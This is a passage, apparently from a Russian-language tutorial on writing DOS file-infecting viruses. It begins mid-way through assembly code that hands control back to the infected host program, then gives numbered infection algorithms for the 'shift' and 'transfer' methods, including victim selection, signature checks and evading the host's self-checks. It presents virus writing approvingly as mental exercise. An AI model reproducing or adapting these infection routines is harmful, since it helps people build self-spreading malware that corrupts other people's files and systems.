(PSP+Wh+OldSS)
mov ss.ax
:Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания - опасный
участок пройден
sti
[Подготовим значения в стеке для
команды IRET
RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное
значение (PSP+Wh+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
.Запустим программу. В стеке
находятся смещение
;точки входа,
сегмент точки входа и флаги
iret
Внедрение способом сдвига
Инфицируемая программа размещается
в файле после кода вируса,
сдвигаясь
на его длину, отсюда и название метода.
Алгоритм работы
вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного
типа вирусов лучше СОМ-файл,
но можно
и не слишком большой ЕХЕ - это связано
с тем, что все
тело инфицируемой
программы считывается в память и ее
может не
хватить, если эта программа
слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное
заражение (здесь могут быть вариан-
ты,
но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела
вируса тело программы из буфера.
Длина
программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной
программы, расположенное
в файле после
тела вируса.
14. Создать на диске временный
файл с расширением СОМ или ЕХЕ
(в
зависимости от того, какой тип программ
заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить
созданный файл на исполнение -
выполнится
инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы - это хорошая гимнастика
для ума, хотя многие думают, что
написать
вирус на языке высокого уровня весьма
трудно. Это не совсем
так. Писать на
языке Pascal довольно легко, правда величина
получен-
ного кода вызывает благоговейный
трепет.
Внедрение способом переноса
Вирусы данного типа размножаются
следующим образом. Из инфициру-
емой
программы от начала файла считывается
часть кода, по длине рав-
ная длине
вируса. На освободившееся место
вписывается вирус,
а оригинальное
начало программы переносится в конец
файла. Отсюда
и название метода - "метод
переноса". Есть и другие варианты.
Иногда,
например, начало программы
записывается в середину файла, а
середина
переносится в конец, чтобы
еще сильнее все запутать. Превосходство
дан-
ного метода над другими описанными
в том, что инфицированная про-
грамма
исполняется в том же виде, в каком она
была до заражения,
из файла с тем же
именем и расширением. То есть программы,
проверя-
ющие себя на предмет заражения
вирусом, его не замечают. Корректно
исполняются
и такие программы, которые ищут свои
файлы конфигура-
ции с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода
проявляется при сбоях в работе
компьюте-
ра. Если при исполнении
инфицированной программы компьютер
"повиснет"
или произойдет перезагрузка системы,
инфицированная
программа окажется "чистой",
то есть без вируса. Но, во-первых, "кто
не
рискует, тот не пьет шампанского", а
во-вторых, программы виснут
редко.
Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное
заражение (здесь могут быть вариан-
ты,
но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала
найденного файла фрагмент программы,
по
длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное
начало программы из буфера.
Длина
программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало
инфицированной программы, расположен-
ное
в конце файла.
14. Записать считанное начало
программы поверх кода вируса в
начало
файла.
15. Сократить файл до его оригинальной
длины (то есть удалить часть
кода, по
длине равную длине тела вируса, в конце
файла).
16. Закрыть файл.
17. Процедурой Ехес запустить
стартовый файл (ParamStr(O)) на ис-
полнение
- выполнится инфицированная программа.
18. После завершения работы
программы опять открыть стартовый
файл.
19. Записать в начало файла тело
вируса, а оригинальное начало про-
граммы
опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.